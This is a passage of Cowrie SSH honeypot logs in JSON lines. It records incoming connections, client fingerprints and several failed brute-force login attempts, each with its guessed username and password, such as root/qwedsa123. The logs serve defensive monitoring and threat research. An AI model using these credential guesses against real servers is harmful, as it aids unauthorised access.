,"rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:04.421270Z","src_ip":"154.16.115.34","session":"864c822cf8a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol2024","message":"login attempt [sol/sol2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:04.496982Z","src_ip":"154.16.115.34","session":"864c822cf8a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:05.524398Z","src_ip":"154.16.115.34","session":"864c822cf8a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.190.244.176","src_port":39636,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ca7c2eb2818","protocol":"ssh","message":"New connection: 189.190.244.176:39636 (10.17.0.5:22) [session: 0ca7c2eb2818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:07.445535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:07.452186Z","src_ip":"189.190.244.176","session":"0ca7c2eb2818","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:07.526599Z","src_ip":"189.190.244.176","session":"0ca7c2eb2818","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dog","message":"login attempt [root/dog] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:07.856433Z","src_ip":"189.190.244.176","session":"0ca7c2eb2818","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:08.934077Z","src_ip":"189.190.244.176","session":"0ca7c2eb2818","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":57220,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d3baa6c9fea","protocol":"ssh","message":"New connection: 45.61.187.220:57220 (159.203.135.109:22) [session: 1d3baa6c9fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:14.490343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:14.496378Z","src_ip":"45.61.187.220","session":"1d3baa6c9fea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:14.529792Z","src_ip":"45.61.187.220","session":"1d3baa6c9fea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yt@123456","message":"login attempt [root/yt@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:14.698164Z","src_ip":"45.61.187.220","session":"1d3baa6c9fea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:15.738109Z","src_ip":"45.61.187.220","session":"1d3baa6c9fea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":57022,"dst_ip":"10.17.0.5","dst_port":22,"session":"14597ed237e6","protocol":"ssh","message":"New connection: 194.113.233.25:57022 (10.17.0.5:22) [session: 14597ed237e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:36.683728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:36.689007Z","src_ip":"194.113.233.25","session":"14597ed237e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.176.210.17","src_port":39076,"dst_ip":"10.17.0.5","dst_port":22,"session":"548c4a843213","protocol":"ssh","message":"New connection: 179.176.210.17:39076 (10.17.0.5:22) [session: 548c4a843213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:36.770313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:36.774324Z","src_ip":"179.176.210.17","session":"548c4a843213","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:36.777946Z","src_ip":"194.113.233.25","session":"14597ed237e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:36.924750Z","src_ip":"179.176.210.17","session":"548c4a843213","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"201119","message":"login attempt [root/201119] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:37.043880Z","src_ip":"194.113.233.25","session":"14597ed237e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"Password123","message":"login attempt [postgres/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:37.565557Z","src_ip":"179.176.210.17","session":"548c4a843213","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:38.133908Z","src_ip":"194.113.233.25","session":"14597ed237e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:38.719885Z","src_ip":"179.176.210.17","session":"548c4a843213","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.117.123","src_port":57116,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b1f9d2bd3e1","protocol":"ssh","message":"New connection: 143.198.117.123:57116 (159.203.135.109:22) [session: 7b1f9d2bd3e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:49.995134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:50.001599Z","src_ip":"143.198.117.123","session":"7b1f9d2bd3e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:50.005811Z","src_ip":"143.198.117.123","session":"7b1f9d2bd3e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:50.018934Z","src_ip":"143.198.117.123","session":"7b1f9d2bd3e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:51.025882Z","src_ip":"143.198.117.123","session":"7b1f9d2bd3e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.169.217.131","src_port":45604,"dst_ip":"159.203.135.109","dst_port":22,"session":"c94b948c033a","protocol":"ssh","message":"New connection: 52.169.217.131:45604 (159.203.135.109:22) [session: c94b948c033a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:51.617779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:51.621462Z","src_ip":"52.169.217.131","session":"c94b948c033a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:51.687207Z","src_ip":"52.169.217.131","session":"c94b948c033a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jordan5","message":"login attempt [root/jordan5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:51.987345Z","src_ip":"52.169.217.131","session":"c94b948c033a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.239.252.132","src_port":42438,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe62e7eda46c","protocol":"ssh","message":"New connection: 103.239.252.132:42438 (159.203.135.109:22) [session: fe62e7eda46c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:52.669376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:52.675766Z","src_ip":"103.239.252.132","session":"fe62e7eda46c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:52.915082Z","src_ip":"103.239.252.132","session":"fe62e7eda46c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:53.054534Z","src_ip":"52.169.217.131","session":"c94b948c033a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwedsa123","message":"login attempt [root/qwedsa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:53.874253Z","src_ip":"103.239.252.132","session":"fe62e7eda46c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:53:55.129971Z","src_ip":"103.239.252.132","session":"fe62e7eda46c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":58392,"dst_ip":"159.203.135.109","dst_port":22,"session":"a953dda86572","protocol":"ssh","message":"New connection: 45.61.187.220:58392 (159.203.135.109:22) [session: a953dda86572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:54:34.573821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:54:34.583333Z","src_ip":"45.61.187.220","session":"a953dda86572","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:54:34.610680Z","src_ip":"45.61.187.220","session":"a953dda86572","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwzxercv","message":"login attempt [root/qwzxercv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:54:34.775378Z","src_ip":"45.61.187.220","session":"a953dda86572","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:54:35.812814Z","src_ip":"45.61.187.220","session":"a953dda86572","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.190.244.176","src_port":58230,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed700fbd2b37","protocol":"ssh","message":"New connection: 189.190.244.176:58230 (10.17.0.5:22) [session: ed700fbd2b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:54:42.809687Z"}
